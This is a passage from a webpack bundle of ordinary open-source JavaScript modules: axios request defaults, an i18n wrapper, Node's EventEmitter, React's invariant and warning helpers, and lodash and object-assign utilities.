  if (!utils.isUndefined(headers) && utils.isUndefined(headers['Content-Type'])) {
    headers['Content-Type'] = value;
  }
}

function getDefaultAdapter() {
  var adapter;
  if (typeof XMLHttpRequest !== 'undefined') {
    // For browsers use XHR adapter
    adapter = __webpack_require__(81);
  } else if (typeof process !== 'undefined') {
    // For node use HTTP adapter
    adapter = __webpack_require__(81);
  }
  return adapter;
}

var defaults = {
  adapter: getDefaultAdapter(),

  transformRequest: [function transformRequest(data, headers) {
    normalizeHeaderName(headers, 'Content-Type');
    if (utils.isFormData(data) ||
      utils.isArrayBuffer(data) ||
      utils.isBuffer(data) ||
      utils.isStream(data) ||
      utils.isFile(data) ||
      utils.isBlob(data)
    ) {
      return data;
    }
    if (utils.isArrayBufferView(data)) {
      return data.buffer;
    }
    if (utils.isURLSearchParams(data)) {
      setContentTypeIfUnset(headers, 'application/x-www-form-urlencoded;charset=utf-8');
      return data.toString();
    }
    if (utils.isObject(data)) {
      setContentTypeIfUnset(headers, 'application/json;charset=utf-8');
      return JSON.stringify(data);
    }
    return data;
  }],

  transformResponse: [function transformResponse(data) {
    /*eslint no-param-reassign:0*/
    if (typeof data === 'string') {
      try {
        data = JSON.parse(data);
      } catch (e) { /* Ignore */ }
    }
    return data;
  }],

  /**
   * A timeout in milliseconds to abort a request. If set to 0 (default) a
   * timeout is not created.
   */
  timeout: 0,

  xsrfCookieName: 'XSRF-TOKEN',
  xsrfHeaderName: 'X-XSRF-TOKEN',

  maxContentLength: -1,

  validateStatus: function validateStatus(status) {
    return status >= 200 && status < 300;
  }
};

defaults.headers = {
  common: {
    'Accept': 'application/json, text/plain, */*'
  }
};

utils.forEach(['delete', 'get', 'head'], function forEachMethodNoData(method) {
  defaults.headers[method] = {};
});

utils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {
  defaults.headers[method] = utils.merge(DEFAULT_CONTENT_TYPE);
});

module.exports = defaults;

/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 51 */,
/* 52 */
/***/ (function(module, exports, __webpack_require__) {

/**
 * Internal dependencies
 */
var I18N = __webpack_require__( 92 ),
	i18n = new I18N();

module.exports = {
	numberFormat: i18n.numberFormat.bind( i18n ),
	translate: i18n.translate.bind( i18n ),
	configure: i18n.configure.bind( i18n ),
	setLocale: i18n.setLocale.bind( i18n ),
	getLocale: i18n.getLocale.bind( i18n ),
	getLocaleSlug: i18n.getLocaleSlug.bind( i18n ),
	addTranslations: i18n.addTranslations.bind( i18n ),
	reRenderTranslations: i18n.reRenderTranslations.bind( i18n ),
	registerComponentUpdateHook: i18n.registerComponentUpdateHook.bind( i18n ),
	registerTranslateHook: i18n.registerTranslateHook.bind( i18n ),
	state: i18n.state,
	stateObserver: i18n.stateObserver,
	on: i18n.stateObserver.on.bind(i18n.stateObserver),
	off: i18n.stateObserver.removeListener.bind(i18n.stateObserver),
	emit: i18n.stateObserver.emit.bind(i18n.stateObserver),
	localize: __webpack_require__( 105 )( i18n ),
	$this: i18n,
	I18N: I18N
};



/***/ }),
/* 53 */,
/* 54 */
/***/ (function(module, exports) {

module.exports = assert;

function assert(val, msg) {
  if (!val)
    throw new Error(msg || 'Assertion failed');
}

assert.equal = function assertEqual(l, r, msg) {
  if (l != r)
    throw new Error(msg || ('Assertion failed: ' + l + ' != ' + r));
};


/***/ }),
/* 55 */
/***/ (function(module, exports) {

if (typeof Object.create === 'function') {
  // implementation from standard node.js 'util' module
  module.exports = function inherits(ctor, superCtor) {
    ctor.super_ = superCtor
    ctor.prototype = Object.create(superCtor.prototype, {
      constructor: {
        value: ctor,
        enumerable: false,
        writable: true,
        configurable: true
      }
    });
  };
} else {
  // old school shim for old browsers
  module.exports = function inherits(ctor, superCtor) {
    ctor.super_ = superCtor
    var TempCtor = function () {}
    TempCtor.prototype = superCtor.prototype
    ctor.prototype = new TempCtor()
    ctor.prototype.constructor = ctor
  }
}


/***/ }),
/* 56 */
/***/ (function(module, exports) {

// Copyright Joyent, Inc. and other Node contributors.
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, sublicense, and/or sell copies of the Software, and to permit
// persons to whom the Software is furnished to do so, subject to the
// following conditions:
//
// The above copyright notice and this permission notice shall be included
// in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
// NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
// DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
// USE OR OTHER DEALINGS IN THE SOFTWARE.

function EventEmitter() {
  this._events = this._events || {};
  this._maxListeners = this._maxListeners || undefined;
}
module.exports = EventEmitter;

// Backwards-compat with node 0.10.x
EventEmitter.EventEmitter = EventEmitter;

EventEmitter.prototype._events = undefined;
EventEmitter.prototype._maxListeners = undefined;

// By default EventEmitters will print a warning if more than 10 listeners are
// added to it. This is a useful default which helps finding memory leaks.
EventEmitter.defaultMaxListeners = 10;

// Obviously not all Emitters should be limited to 10. This function allows
// that to be increased. Set to zero for unlimited.
EventEmitter.prototype.setMaxListeners = function(n) {
  if (!isNumber(n) || n < 0 || isNaN(n))
    throw TypeError('n must be a positive number');
  this._maxListeners = n;
  return this;
};

EventEmitter.prototype.emit = function(type) {
  var er, handler, len, args, i, listeners;

  if (!this._events)
    this._events = {};

  // If there is no 'error' event listener then throw.
  if (type === 'error') {
    if (!this._events.error ||
        (isObject(this._events.error) && !this._events.error.length)) {
      er = arguments[1];
      if (er instanceof Error) {
        throw er; // Unhandled 'error' event
      } else {
        // At least give some kind of context to the user
        var err = new Error('Uncaught, unspecified "error" event. (' + er + ')');
        err.context = er;
        throw err;
      }
    }
  }

  handler = this._events[type];

  if (isUndefined(handler))
    return false;

  if (isFunction(handler)) {
    switch (arguments.length) {
      // fast cases
      case 1:
        handler.call(this);
        break;
      case 2:
        handler.call(this, arguments[1]);
        break;
      case 3:
        handler.call(this, arguments[1], arguments[2]);
        break;
      // slower
      default:
        args = Array.prototype.slice.call(arguments, 1);
        handler.apply(this, args);
    }
  } else if (isObject(handler)) {
    args = Array.prototype.slice.call(arguments, 1);
    listeners = handler.slice();
    len = listeners.length;
    for (i = 0; i < len; i++)
      listeners[i].apply(this, args);
  }

  return true;
};

EventEmitter.prototype.addListener = function(type, listener) {
  var m;

  if (!isFunction(listener))
    throw TypeError('listener must be a function');

  if (!this._events)
    this._events = {};

  // To avoid recursion in the case that type === "newListener"! Before
  // adding it to the listeners, first emit "newListener".
  if (this._events.newListener)
    this.emit('newListener', type,
              isFunction(listener.listener) ?
              listener.listener : listener);

  if (!this._events[type])
    // Optimize the case of one listener. Don't need the extra array object.
    this._events[type] = listener;
  else if (isObject(this._events[type]))
    // If we've already got an array, just append.
    this._events[type].push(listener);
  else
    // Adding the second element, need to change to array.
    this._events[type] = [this._events[type], listener];

  // Check for listener leak
  if (isObject(this._events[type]) && !this._events[type].warned) {
    if (!isUndefined(this._maxListeners)) {
      m = this._maxListeners;
    } else {
      m = EventEmitter.defaultMaxListeners;
    }

    if (m && m > 0 && this._events[type].length > m) {
      this._events[type].warned = true;
      console.error('(node) warning: possible EventEmitter memory ' +
                    'leak detected. %d listeners added. ' +
                    'Use emitter.setMaxListeners() to increase limit.',
                    this._events[type].length);
      if (typeof console.trace === 'function') {
        // not supported in IE 10
        console.trace();
      }
    }
  }

  return this;
};

EventEmitter.prototype.on = EventEmitter.prototype.addListener;

EventEmitter.prototype.once = function(type, listener) {
  if (!isFunction(listener))
    throw TypeError('listener must be a function');

  var fired = false;

  function g() {
    this.removeListener(type, g);

    if (!fired) {
      fired = true;
      listener.apply(this, arguments);
    }
  }

  g.listener = listener;
  this.on(type, g);

  return this;
};

// emits a 'removeListener' event iff the listener was removed
EventEmitter.prototype.removeListener = function(type, listener) {
  var list, position, length, i;

  if (!isFunction(listener))
    throw TypeError('listener must be a function');

  if (!this._events || !this._events[type])
    return this;

  list = this._events[type];
  length = list.length;
  position = -1;

  if (list === listener ||
      (isFunction(list.listener) && list.listener === listener)) {
    delete this._events[type];
    if (this._events.removeListener)
      this.emit('removeListener', type, listener);

  } else if (isObject(list)) {
    for (i = length; i-- > 0;) {
      if (list[i] === listener ||
          (list[i].listener && list[i].listener === listener)) {
        position = i;
        break;
      }
    }

    if (position < 0)
      return this;

    if (list.length === 1) {
      list.length = 0;
      delete this._events[type];
    } else {
      list.splice(position, 1);
    }

    if (this._events.removeListener)
      this.emit('removeListener', type, listener);
  }

  return this;
};

EventEmitter.prototype.removeAllListeners = function(type) {
  var key, listeners;

  if (!this._events)
    return this;

  // not listening for removeListener, no need to emit
  if (!this._events.removeListener) {
    if (arguments.length === 0)
      this._events = {};
    else if (this._events[type])
      delete this._events[type];
    return this;
  }

  // emit removeListener for all listeners on all events
  if (arguments.length === 0) {
    for (key in this._events) {
      if (key === 'removeListener') continue;
      this.removeAllListeners(key);
    }
    this.removeAllListeners('removeListener');
    this._events = {};
    return this;
  }

  listeners = this._events[type];

  if (isFunction(listeners)) {
    this.removeListener(type, listeners);
  } else if (listeners) {
    // LIFO order
    while (listeners.length)
      this.removeListener(type, listeners[listeners.length - 1]);
  }
  delete this._events[type];

  return this;
};

EventEmitter.prototype.listeners = function(type) {
  var ret;
  if (!this._events || !this._events[type])
    ret = [];
  else if (isFunction(this._events[type]))
    ret = [this._events[type]];
  else
    ret = this._events[type].slice();
  return ret;
};

EventEmitter.prototype.listenerCount = function(type) {
  if (this._events) {
    var evlistener = this._events[type];

    if (isFunction(evlistener))
      return 1;
    else if (evlistener)
      return evlistener.length;
  }
  return 0;
};

EventEmitter.listenerCount = function(emitter, type) {
  return emitter.listenerCount(type);
};

function isFunction(arg) {
  return typeof arg === 'function';
}

function isNumber(arg) {
  return typeof arg === 'number';
}

function isObject(arg) {
  return typeof arg === 'object' && arg !== null;
}

function isUndefined(arg) {
  return arg === void 0;
}


/***/ }),
/* 57 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";


/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 *
 * 
 */

function makeEmptyFunction(arg) {
  return function () {
    return arg;
  };
}

/**
 * This function accepts and discards inputs; it has no side effects. This is
 * primarily useful idiomatically for overridable function endpoints which
 * always need to be callable, since JS lacks a null-call idiom ala Cocoa.
 */
var emptyFunction = function emptyFunction() {};

emptyFunction.thatReturns = makeEmptyFunction;
emptyFunction.thatReturnsFalse = makeEmptyFunction(false);
emptyFunction.thatReturnsTrue = makeEmptyFunction(true);
emptyFunction.thatReturnsNull = makeEmptyFunction(null);
emptyFunction.thatReturnsThis = function () {
  return this;
};
emptyFunction.thatReturnsArgument = function (arg) {
  return arg;
};

module.exports = emptyFunction;

/***/ }),
/* 58 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 *
 */



/**
 * Use invariant() to assert state which your program assumes to be true.
 *
 * Provide sprintf-style format (only %s is supported) and arguments
 * to provide information about what broke and what you were
 * expecting.
 *
 * The invariant message will be stripped in production, but the invariant
 * will remain to ensure logic does not differ in production.
 */

var validateFormat = function validateFormat(format) {};

if (process.env.NODE_ENV !== 'production') {
  validateFormat = function validateFormat(format) {
    if (format === undefined) {
      throw new Error('invariant requires an error message argument');
    }
  };
}

function invariant(condition, format, a, b, c, d, e, f) {
  validateFormat(format);

  if (!condition) {
    var error;
    if (format === undefined) {
      error = new Error('Minified exception occurred; use the non-minified dev environment ' + 'for the full error message and additional helpful warnings.');
    } else {
      var args = [a, b, c, d, e, f];
      var argIndex = 0;
      error = new Error(format.replace(/%s/g, function () {
        return args[argIndex++];
      }));
      error.name = 'Invariant Violation';
    }

    error.framesToPop = 1; // we don't care about invariant's own frame
    throw error;
  }
}

module.exports = invariant;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 59 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/* WEBPACK VAR INJECTION */(function(process) {/**
 * Copyright (c) 2014-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 *
 */



var emptyFunction = __webpack_require__(57);

/**
 * Similar to invariant but only logs a warning if the condition is not met.
 * This can be used to log issues in development environments in critical
 * paths. Removing the logging code for production environments will keep the
 * same logic and follow the same code paths.
 */

var warning = emptyFunction;

if (process.env.NODE_ENV !== 'production') {
  var printWarning = function printWarning(format) {
    for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
      args[_key - 1] = arguments[_key];
    }

    var argIndex = 0;
    var message = 'Warning: ' + format.replace(/%s/g, function () {
      return args[argIndex++];
    });
    if (typeof console !== 'undefined') {
      console.error(message);
    }
    try {
      // --- Welcome to debugging React ---
      // This error was thrown as a convenience so that you can use this stack
      // to find the callsite that caused this warning to fire.
      throw new Error(message);
    } catch (x) {}
  };

  warning = function warning(condition, format) {
    if (format === undefined) {
      throw new Error('`warning(condition, format, ...args)` requires a warning ' + 'message argument');
    }

    if (format.indexOf('Failed Composite propType: ') === 0) {
      return; // Ignore CompositeComponent proptype check.
    }

    if (!condition) {
      for (var _len2 = arguments.length, args = Array(_len2 > 2 ? _len2 - 2 : 0), _key2 = 2; _key2 < _len2; _key2++) {
        args[_key2 - 2] = arguments[_key2];
      }

      printWarning.apply(undefined, [format].concat(args));
    }
  };
}

module.exports = warning;
/* WEBPACK VAR INJECTION */}.call(exports, __webpack_require__(2)))

/***/ }),
/* 60 */
/***/ (function(module, exports) {

/**
 * lodash (Custom Build) <https://lodash.com/>
 * Build: `lodash modularize exports="npm" -o ./`
 * Copyright jQuery Foundation and other contributors <https://jquery.org/>
 * Released under MIT license <https://lodash.com/license>
 * Based on Underscore.js 1.8.3 <http://underscorejs.org/LICENSE>
 * Copyright Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors
 */

/** Used as references for various `Number` constants. */
var MAX_SAFE_INTEGER = 9007199254740991;

/** `Object#toString` result references. */
var argsTag = '[object Arguments]',
    funcTag = '[object Function]',
    genTag = '[object GeneratorFunction]';

/** Used to detect unsigned integer values. */
var reIsUint = /^(?:0|[1-9]\d*)$/;

/**
 * A faster alternative to `Function#apply`, this function invokes `func`
 * with the `this` binding of `thisArg` and the arguments of `args`.
 *
 * @private
 * @param {Function} func The function to invoke.
 * @param {*} thisArg The `this` binding of `func`.
 * @param {Array} args The arguments to invoke `func` with.
 * @returns {*} Returns the result of `func`.
 */
function apply(func, thisArg, args) {
  switch (args.length) {
    case 0: return func.call(thisArg);
    case 1: return func.call(thisArg, args[0]);
    case 2: return func.call(thisArg, args[0], args[1]);
    case 3: return func.call(thisArg, args[0], args[1], args[2]);
  }
  return func.apply(thisArg, args);
}

/**
 * The base implementation of `_.times` without support for iteratee shorthands
 * or max array length checks.
 *
 * @private
 * @param {number} n The number of times to invoke `iteratee`.
 * @param {Function} iteratee The function invoked per iteration.
 * @returns {Array} Returns the array of results.
 */
function baseTimes(n, iteratee) {
  var index = -1,
      result = Array(n);

  while (++index < n) {
    result[index] = iteratee(index);
  }
  return result;
}

/**
 * Creates a unary function that invokes `func` with its argument transformed.
 *
 * @private
 * @param {Function} func The function to wrap.
 * @param {Function} transform The argument transform.
 * @returns {Function} Returns the new function.
 */
function overArg(func, transform) {
  return function(arg) {
    return func(transform(arg));
  };
}

/** Used for built-in method references. */
var objectProto = Object.prototype;

/** Used to check objects for own properties. */
var hasOwnProperty = objectProto.hasOwnProperty;

/**
 * Used to resolve the
 * [`toStringTag`](http://ecma-international.org/ecma-262/7.0/#sec-object.prototype.tostring)
 * of values.
 */
var objectToString = objectProto.toString;

/** Built-in value references. */
var propertyIsEnumerable = objectProto.propertyIsEnumerable;

/* Built-in method references for those with the same name as other `lodash` methods. */
var nativeKeys = overArg(Object.keys, Object),
    nativeMax = Math.max;

/** Detect if properties shadowing those on `Object.prototype` are non-enumerable. */
var nonEnumShadows = !propertyIsEnumerable.call({ 'valueOf': 1 }, 'valueOf');

/**
 * Creates an array of the enumerable property names of the array-like `value`.
 *
 * @private
 * @param {*} value The value to query.
 * @param {boolean} inherited Specify returning inherited property names.
 * @returns {Array} Returns the array of property names.
 */
function arrayLikeKeys(value, inherited) {
  // Safari 8.1 makes `arguments.callee` enumerable in strict mode.
  // Safari 9 makes `arguments.length` enumerable in strict mode.
  var result = (isArray(value) || isArguments(value))
    ? baseTimes(value.length, String)
    : [];

  var length = result.length,
      skipIndexes = !!length;

  for (var key in value) {
    if ((inherited || hasOwnProperty.call(value, key)) &&
        !(skipIndexes && (key == 'length' || isIndex(key, length)))) {
      result.push(key);
    }
  }
  return result;
}

/**
 * Assigns `value` to `key` of `object` if the existing value is not equivalent
 * using [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
 * for equality comparisons.
 *
 * @private
 * @param {Object} object The object to modify.
 * @param {string} key The key of the property to assign.
 * @param {*} value The value to assign.
 */
function assignValue(object, key, value) {
  var objValue = object[key];
  if (!(hasOwnProperty.call(object, key) && eq(objValue, value)) ||
      (value === undefined && !(key in object))) {
    object[key] = value;
  }
}

/**
 * The base implementation of `_.keys` which doesn't treat sparse arrays as dense.
 *
 * @private
 * @param {Object} object The object to query.
 * @returns {Array} Returns the array of property names.
 */
function baseKeys(object) {
  if (!isPrototype(object)) {
    return nativeKeys(object);
  }
  var result = [];
  for (var key in Object(object)) {
    if (hasOwnProperty.call(object, key) && key != 'constructor') {
      result.push(key);
    }
  }
  return result;
}

/**
 * The base implementation of `_.rest` which doesn't validate or coerce arguments.
 *
 * @private
 * @param {Function} func The function to apply a rest parameter to.
 * @param {number} [start=func.length-1] The start position of the rest parameter.
 * @returns {Function} Returns the new function.
 */
function baseRest(func, start) {
  start = nativeMax(start === undefined ? (func.length - 1) : start, 0);
  return function() {
    var args = arguments,
        index = -1,
        length = nativeMax(args.length - start, 0),
        array = Array(length);

    while (++index < length) {
      array[index] = args[start + index];
    }
    index = -1;
    var otherArgs = Array(start + 1);
    while (++index < start) {
      otherArgs[index] = args[index];
    }
    otherArgs[start] = array;
    return apply(func, this, otherArgs);
  };
}

/**
 * Copies properties of `source` to `object`.
 *
 * @private
 * @param {Object} source The object to copy properties from.
 * @param {Array} props The property identifiers to copy.
 * @param {Object} [object={}] The object to copy properties to.
 * @param {Function} [customizer] The function to customize copied values.
 * @returns {Object} Returns `object`.
 */
function copyObject(source, props, object, customizer) {
  object || (object = {});

  var index = -1,
      length = props.length;

  while (++index < length) {
    var key = props[index];

    var newValue = customizer
      ? customizer(object[key], source[key], key, object, source)
      : undefined;

    assignValue(object, key, newValue === undefined ? source[key] : newValue);
  }
  return object;
}

/**
 * Creates a function like `_.assign`.
 *
 * @private
 * @param {Function} assigner The function to assign values.
 * @returns {Function} Returns the new assigner function.
 */
function createAssigner(assigner) {
  return baseRest(function(object, sources) {
    var index = -1,
        length = sources.length,
        customizer = length > 1 ? sources[length - 1] : undefined,
        guard = length > 2 ? sources[2] : undefined;

    customizer = (assigner.length > 3 && typeof customizer == 'function')
      ? (length--, customizer)
      : undefined;

    if (guard && isIterateeCall(sources[0], sources[1], guard)) {
      customizer = length < 3 ? undefined : customizer;
      length = 1;
    }
    object = Object(object);
    while (++index < length) {
      var source = sources[index];
      if (source) {
        assigner(object, source, index, customizer);
      }
    }
    return object;
  });
}

/**
 * Checks if `value` is a valid array-like index.
 *
 * @private
 * @param {*} value The value to check.
 * @param {number} [length=MAX_SAFE_INTEGER] The upper bounds of a valid index.
 * @returns {boolean} Returns `true` if `value` is a valid index, else `false`.
 */
function isIndex(value, length) {
  length = length == null ? MAX_SAFE_INTEGER : length;
  return !!length &&
    (typeof value == 'number' || reIsUint.test(value)) &&
    (value > -1 && value % 1 == 0 && value < length);
}

/**
 * Checks if the given arguments are from an iteratee call.
 *
 * @private
 * @param {*} value The potential iteratee value argument.
 * @param {*} index The potential iteratee index or key argument.
 * @param {*} object The potential iteratee object argument.
 * @returns {boolean} Returns `true` if the arguments are from an iteratee call,
 *  else `false`.
 */
function isIterateeCall(value, index, object) {
  if (!isObject(object)) {
    return false;
  }
  var type = typeof index;
  if (type == 'number'
        ? (isArrayLike(object) && isIndex(index, object.length))
        : (type == 'string' && index in object)
      ) {
    return eq(object[index], value);
  }
  return false;
}

/**
 * Checks if `value` is likely a prototype object.
 *
 * @private
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is a prototype, else `false`.
 */
function isPrototype(value) {
  var Ctor = value && value.constructor,
      proto = (typeof Ctor == 'function' && Ctor.prototype) || objectProto;

  return value === proto;
}

/**
 * Performs a
 * [`SameValueZero`](http://ecma-international.org/ecma-262/7.0/#sec-samevaluezero)
 * comparison between two values to determine if they are equivalent.
 *
 * @static
 * @memberOf _
 * @since 4.0.0
 * @category Lang
 * @param {*} value The value to compare.
 * @param {*} other The other value to compare.
 * @returns {boolean} Returns `true` if the values are equivalent, else `false`.
 * @example
 *
 * var object = { 'a': 1 };
 * var other = { 'a': 1 };
 *
 * _.eq(object, object);
 * // => true
 *
 * _.eq(object, other);
 * // => false
 *
 * _.eq('a', 'a');
 * // => true
 *
 * _.eq('a', Object('a'));
 * // => false
 *
 * _.eq(NaN, NaN);
 * // => true
 */
function eq(value, other) {
  return value === other || (value !== value && other !== other);
}

/**
 * Checks if `value` is likely an `arguments` object.
 *
 * @static
 * @memberOf _
 * @since 0.1.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is an `arguments` object,
 *  else `false`.
 * @example
 *
 * _.isArguments(function() { return arguments; }());
 * // => true
 *
 * _.isArguments([1, 2, 3]);
 * // => false
 */
function isArguments(value) {
  // Safari 8.1 makes `arguments.callee` enumerable in strict mode.
  return isArrayLikeObject(value) && hasOwnProperty.call(value, 'callee') &&
    (!propertyIsEnumerable.call(value, 'callee') || objectToString.call(value) == argsTag);
}

/**
 * Checks if `value` is classified as an `Array` object.
 *
 * @static
 * @memberOf _
 * @since 0.1.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is an array, else `false`.
 * @example
 *
 * _.isArray([1, 2, 3]);
 * // => true
 *
 * _.isArray(document.body.children);
 * // => false
 *
 * _.isArray('abc');
 * // => false
 *
 * _.isArray(_.noop);
 * // => false
 */
var isArray = Array.isArray;

/**
 * Checks if `value` is array-like. A value is considered array-like if it's
 * not a function and has a `value.length` that's an integer greater than or
 * equal to `0` and less than or equal to `Number.MAX_SAFE_INTEGER`.
 *
 * @static
 * @memberOf _
 * @since 4.0.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is array-like, else `false`.
 * @example
 *
 * _.isArrayLike([1, 2, 3]);
 * // => true
 *
 * _.isArrayLike(document.body.children);
 * // => true
 *
 * _.isArrayLike('abc');
 * // => true
 *
 * _.isArrayLike(_.noop);
 * // => false
 */
function isArrayLike(value) {
  return value != null && isLength(value.length) && !isFunction(value);
}

/**
 * This method is like `_.isArrayLike` except that it also checks if `value`
 * is an object.
 *
 * @static
 * @memberOf _
 * @since 4.0.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is an array-like object,
 *  else `false`.
 * @example
 *
 * _.isArrayLikeObject([1, 2, 3]);
 * // => true
 *
 * _.isArrayLikeObject(document.body.children);
 * // => true
 *
 * _.isArrayLikeObject('abc');
 * // => false
 *
 * _.isArrayLikeObject(_.noop);
 * // => false
 */
function isArrayLikeObject(value) {
  return isObjectLike(value) && isArrayLike(value);
}

/**
 * Checks if `value` is classified as a `Function` object.
 *
 * @static
 * @memberOf _
 * @since 0.1.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is a function, else `false`.
 * @example
 *
 * _.isFunction(_);
 * // => true
 *
 * _.isFunction(/abc/);
 * // => false
 */
function isFunction(value) {
  // The use of `Object#toString` avoids issues with the `typeof` operator
  // in Safari 8-9 which returns 'object' for typed array and other constructors.
  var tag = isObject(value) ? objectToString.call(value) : '';
  return tag == funcTag || tag == genTag;
}

/**
 * Checks if `value` is a valid array-like length.
 *
 * **Note:** This method is loosely based on
 * [`ToLength`](http://ecma-international.org/ecma-262/7.0/#sec-tolength).
 *
 * @static
 * @memberOf _
 * @since 4.0.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is a valid length, else `false`.
 * @example
 *
 * _.isLength(3);
 * // => true
 *
 * _.isLength(Number.MIN_VALUE);
 * // => false
 *
 * _.isLength(Infinity);
 * // => false
 *
 * _.isLength('3');
 * // => false
 */
function isLength(value) {
  return typeof value == 'number' &&
    value > -1 && value % 1 == 0 && value <= MAX_SAFE_INTEGER;
}

/**
 * Checks if `value` is the
 * [language type](http://www.ecma-international.org/ecma-262/7.0/#sec-ecmascript-language-types)
 * of `Object`. (e.g. arrays, functions, objects, regexes, `new Number(0)`, and `new String('')`)
 *
 * @static
 * @memberOf _
 * @since 0.1.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is an object, else `false`.
 * @example
 *
 * _.isObject({});
 * // => true
 *
 * _.isObject([1, 2, 3]);
 * // => true
 *
 * _.isObject(_.noop);
 * // => true
 *
 * _.isObject(null);
 * // => false
 */
function isObject(value) {
  var type = typeof value;
  return !!value && (type == 'object' || type == 'function');
}

/**
 * Checks if `value` is object-like. A value is object-like if it's not `null`
 * and has a `typeof` result of "object".
 *
 * @static
 * @memberOf _
 * @since 4.0.0
 * @category Lang
 * @param {*} value The value to check.
 * @returns {boolean} Returns `true` if `value` is object-like, else `false`.
 * @example
 *
 * _.isObjectLike({});
 * // => true
 *
 * _.isObjectLike([1, 2, 3]);
 * // => true
 *
 * _.isObjectLike(_.noop);
 * // => false
 *
 * _.isObjectLike(null);
 * // => false
 */
function isObjectLike(value) {
  return !!value && typeof value == 'object';
}

/**
 * Assigns own enumerable string keyed properties of source objects to the
 * destination object. Source objects are applied from left to right.
 * Subsequent sources overwrite property assignments of previous sources.
 *
 * **Note:** This method mutates `object` and is loosely based on
 * [`Object.assign`](https://mdn.io/Object/assign).
 *
 * @static
 * @memberOf _
 * @since 0.10.0
 * @category Object
 * @param {Object} object The destination object.
 * @param {...Object} [sources] The source objects.
 * @returns {Object} Returns `object`.
 * @see _.assignIn
 * @example
 *
 * function Foo() {
 *   this.a = 1;
 * }
 *
 * function Bar() {
 *   this.c = 3;
 * }
 *
 * Foo.prototype.b = 2;
 * Bar.prototype.d = 4;
 *
 * _.assign({ 'a': 0 }, new Foo, new Bar);
 * // => { 'a': 1, 'c': 3 }
 */
var assign = createAssigner(function(object, source) {
  if (nonEnumShadows || isPrototype(source) || isArrayLike(source)) {
    copyObject(source, keys(source), object);
    return;
  }
  for (var key in source) {
    if (hasOwnProperty.call(source, key)) {
      assignValue(object, key, source[key]);
    }
  }
});

/**
 * Creates an array of the own enumerable property names of `object`.
 *
 * **Note:** Non-object values are coerced to objects. See the
 * [ES spec](http://ecma-international.org/ecma-262/7.0/#sec-object.keys)
 * for more details.
 *
 * @static
 * @since 0.1.0
 * @memberOf _
 * @category Object
 * @param {Object} object The object to query.
 * @returns {Array} Returns the array of property names.
 * @example
 *
 * function Foo() {
 *   this.a = 1;
 *   this.b = 2;
 * }
 *
 * Foo.prototype.c = 3;
 *
 * _.keys(new Foo);
 * // => ['a', 'b'] (iteration order is not guaranteed)
 *
 * _.keys('hi');
 * // => ['0', '1']
 */
function keys(object) {
  return isArrayLike(object) ? arrayLikeKeys(object) : baseKeys(object);
}

module.exports = assign;


/***/ }),
/* 61 */,
/* 62 */
/***/ (function(module, exports, __webpack_require__) {

"use strict";
/*
object-assign
(c) Sindre Sorhus
@license MIT
*/


/* eslint-disable no-unused-vars */
var getOwnPropertySymbols = Object.getOwnPropertySymbols;
var hasOwnProperty = Object.prototype.hasOwnProperty;
var propIsEnumerable = Object.prototype.propertyIsEnumerable;

function toObject(val) {
	if (val === null || val === undefined) {
		throw new TypeError('Object.assign cannot be called with null or undefined');
	}

	return Object(val);
}

function shouldUseNative() {
	try {
		if (!Object.assign) {
			return false;
		}

		// Detect buggy property enumeration order in older V8 versions.

		// https://bugs.chromium.org/p/v8/issues/detail?id=4118
		var test1 = new String('abc');  // eslint-disable-line no-new-wrappers
		test1[5] = 'de';
		if (Object.getOwnPropertyNames(test1)[0] === '5') {
			return false;
		}

		// https://bugs.chromium.org/p/v8/issues/detail?id=3056
		var test2 = {};
		for (var i = 0; i < 10; i++) {
			test2['_' + String.fromCharCode(i)] = i;
		}
		var order2 = Object.getOwnPropertyNames(test2).map(function (n) {
			return test2[n];
		});
		if (order2.join('') !== '0123456789') {
			return false;
		}

		// https://bugs.chromium.org/p/v8/issues/detail?id=3056
		var test3 = {};
		'abcdefghijklmnopqrst'.split('').forEach(function (letter) {
			test3[letter] = letter;
		});
		if (Object.keys(Object.assign({}, test3)).join('') !==
				'abcdefghijklmnopqrst') {
			return false;
		}

		return true;
	} catch (err) {
		// We don't expect any of the above to throw, but better to be safe.
		return false;
	}
}

